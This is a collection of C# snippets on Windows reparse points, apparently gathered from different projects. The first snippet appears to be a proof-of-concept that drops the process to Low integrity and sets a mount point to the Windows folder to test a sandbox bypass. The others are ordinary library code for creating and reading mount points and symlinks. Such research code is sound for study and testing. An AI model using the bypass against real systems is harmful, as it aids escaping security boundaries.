static void Main(string[] args) { try { string dir = CreateDir(); Console.WriteLine("Created {0} to test mount point bypass", dir); using (var token = NtToken.OpenProcessToken()) { Console.WriteLine("Lowering token to Low IL"); token.SetIntegrityLevel(TokenIntegrityLevel.Low); } using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(dir), null, FileAccessRights.GenericRead | FileAccessRights.GenericWrite, FileShareMode.None, FileOpenOptions.OpenReparsePoint | FileOpenOptions.DirectoryFile)) { Console.WriteLine("Opened {0}", file.FullPath); byte[] buffer = BuildReparseBuffer(Environment.GetFolderPath(Environment.SpecialFolder.Windows)); file.FsControl(NtWellKnownIoControlCodes.FSCTL_SET_REPARSE_POINT_EX, buffer, 0); MountPointReparseBuffer rp = (MountPointReparseBuffer)file.GetReparsePoint(); Console.WriteLine("Set Mount Point: {0} {1}", rp.Tag, rp.SubstitutionName); Console.ReadLine(); } } catch (Exception ex) { Console.WriteLine(ex); Console.ReadLine(); } }
static byte[] BuildReparseBuffer(string target) { MountPointReparseBuffer buffer = new MountPointReparseBuffer(NtFileUtils.DosFileNameToNt(target), target); MemoryStream stm = new MemoryStream(); BinaryWriter writer = new BinaryWriter(stm); // Flags. writer.Write(0); // Existing tag. writer.Write(0); writer.Write(Guid.Empty.ToByteArray()); // Reserved. writer.Write(0UL); writer.Write(buffer.ToByteArray()); return(stm.ToArray()); }
/// <summary> /// Method to create an object from a set of object attributes. /// </summary> /// <param name="obj_attributes">The object attributes to create/open from.</param> /// <returns>The newly created object.</returns> protected override object CreateObject(ObjectAttributes obj_attributes) { NtToken.EnableEffectivePrivilege(TokenPrivilegeValue.SeCreateSymbolicLinkPrivilege); Options |= FileOpenOptions.OpenReparsePoint; if (ParameterSetName != "ReparseBuffer") { string target_path = Relative ? TargetPath : ResolvePath(SessionState, TargetPath, Win32Path); switch (ParameterSetName) { case "MountPoint": Directory = true; ReparseBuffer = new MountPointReparseBuffer(target_path, PrintName); break; case "Symlink": ReparseBuffer = new SymlinkReparseBuffer(target_path, string.IsNullOrEmpty(PrintName) ? target_path : PrintName, Relative ? SymlinkReparseBufferFlags.Relative : SymlinkReparseBufferFlags.None); break; case "RawBytes": ReparseBuffer = ReparseBuffer.FromByteArray(Bytes); break; } } using (NtFile file = (NtFile)base.CreateObject(obj_attributes)) { if (Flags != ReparseBufferExFlags.None || ExistingTag != 0 || ExistingGuid != Guid.Empty) { file.SetReparsePointEx(ReparseBuffer, Flags, ExistingTag, ExistingGuid); } else { file.SetReparsePoint(ReparseBuffer); } } return(null); }
public static LinkTargetInfo GetLinkTargetInfo(SafeHandle device) { UInt32 bytesReturned; int lastError = 0; const int maxCapacity = 0x3FF0; SafeGlobalMemoryBufferHandle buffer = new SafeGlobalMemoryBufferHandle(512); try { do { if (!NativeMethods.DeviceIoControl(device, IoControlCode.FsctlGetReparsePoint, new SafeGlobalMemoryBufferHandle(), 0, buffer, (uint)buffer.Capacity, out bytesReturned, IntPtr.Zero)) { lastError = Marshal.GetLastWin32Error(); if (lastError == Win32Errors.ERROR_INSUFFICIENT_BUFFER && buffer.Capacity < maxCapacity) { buffer.Dispose(); buffer = null; buffer = new SafeGlobalMemoryBufferHandle(maxCapacity); continue; } NativeError.ThrowException(lastError); } else { break; } }while (true); IntPtr bufPtr = buffer.DangerousGetHandle(); ReparseDataBufferHeader header = (ReparseDataBufferHeader)Marshal.PtrToStructure(bufPtr, typeof(ReparseDataBufferHeader)); if (header.ReparseTag == ReparsePointTag.MountPoint) { MountPointReparseBuffer mpBuf = (MountPointReparseBuffer)Marshal.PtrToStructure(AddPtr(bufPtr, Marshal.OffsetOf(typeof(ReparseDataBufferHeader), "data")), typeof(MountPointReparseBuffer)); IntPtr dataPos = AddPtr(Marshal.OffsetOf(typeof(ReparseDataBufferHeader), "data"), Marshal.OffsetOf(typeof(MountPointReparseBuffer), "data")); byte[] dataBuffer = new byte[bytesReturned - dataPos.ToInt64()]; Marshal.Copy(AddPtr(bufPtr, dataPos), dataBuffer, 0, dataBuffer.Length); return(new LinkTargetInfo( Encoding.Unicode.GetString(dataBuffer, mpBuf.SubstituteNameOffset, mpBuf.SubstituteNameLength), Encoding.Unicode.GetString(dataBuffer, mpBuf.PrintNameOffset, mpBuf.PrintNameLength) )); } else if (header.ReparseTag == ReparsePointTag.SymLink) { SymbolicLinkReparseBuffer mpBuf = (SymbolicLinkReparseBuffer)Marshal.PtrToStructure(AddPtr(bufPtr, Marshal.OffsetOf(typeof(ReparseDataBufferHeader), "data")), typeof(SymbolicLinkReparseBuffer)); IntPtr dataPos = AddPtr(Marshal.OffsetOf(typeof(ReparseDataBufferHeader), "data"), Marshal.OffsetOf(typeof(SymbolicLinkReparseBuffer), "data")); byte[] dataBuffer = new byte[bytesReturned - dataPos.ToInt64()]; Marshal.Copy(AddPtr(bufPtr, dataPos), dataBuffer, 0, dataBuffer.Length); return(new SymbolicLinkTargetInfo( Encoding.Unicode.GetString(dataBuffer, mpBuf.SubstituteNameOffset, mpBuf.SubstituteNameLength), Encoding.Unicode.GetString(dataBuffer, mpBuf.PrintNameOffset, mpBuf.PrintNameLength), (SymbolicLinkType)mpBuf.Flags )); } else { throw new UnrecognizedReparsePointException(); } } finally { if (buffer != null) { buffer.Dispose(); } } }